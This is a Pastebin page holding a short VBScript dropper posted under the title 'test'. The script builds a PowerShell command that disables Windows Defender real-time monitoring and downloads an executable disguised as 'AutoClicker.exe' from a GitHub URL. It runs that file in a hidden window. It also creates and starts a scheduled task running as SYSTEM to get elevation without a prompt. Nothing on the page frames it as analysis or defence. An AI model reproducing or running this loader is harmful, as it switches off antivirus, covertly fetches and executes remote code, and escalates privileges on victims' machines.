Pastebin

Paste #27158: test

< previous paste - next paste>

Pasted by test

Download View as text

Set objShell = CreateObject("WScript.Shell")

strPSScript = "Set-MpPreference -DisableRealtimeMonitoring $true -NoProfile -ExecutionPolicy Bypass -Command " & _
              "'$downloadUrl = ""https://github.com/mikhailramlal/pp/raw/refs/heads/main/AutoClicker.exe"";" & _
              "$outputFile = [System.IO.Path]::Combine($env:USERPROFILE, ""Documents"", ""AutoClicker.exe"");" & _
              "try {" & _
              "   if (Test-Path $outputFile) { Remove-Item $outputFile -Force }" & _
              "   Invoke-WebRequest -Uri $downloadUrl -OutFile $outputFile -ErrorAction Stop;" & _
              "   if (Test-Path $outputFile) {" & _
              "       attrib +r $outputFile;" & _
              "       Start-Process -FilePath $outputFile -WindowStyle Hidden -ErrorAction Stop;" & _
              "   }" & _
              "} catch {" & _
              "   exit 0;" & _
              "}'"

' Create Task to Run PowerShell Script as Admin Without Prompt
strTask = "schtasks /create /tn ""RunPowerShellAsAdmin"" /tr ""powershell.exe -ExecutionPolicy Bypass -Command " & strPSScript & """ /sc once /st 00:00 /f /ru SYSTEM"

' Execute the Task to Run the PowerShell Script
objShell.Run strTask, 0, True
objShell.Run "schtasks /run /tn ""RunPowerShellAsAdmin""", 0, True

New Paste


Do not write anything in this field if you're a human.

Go to most recent paste.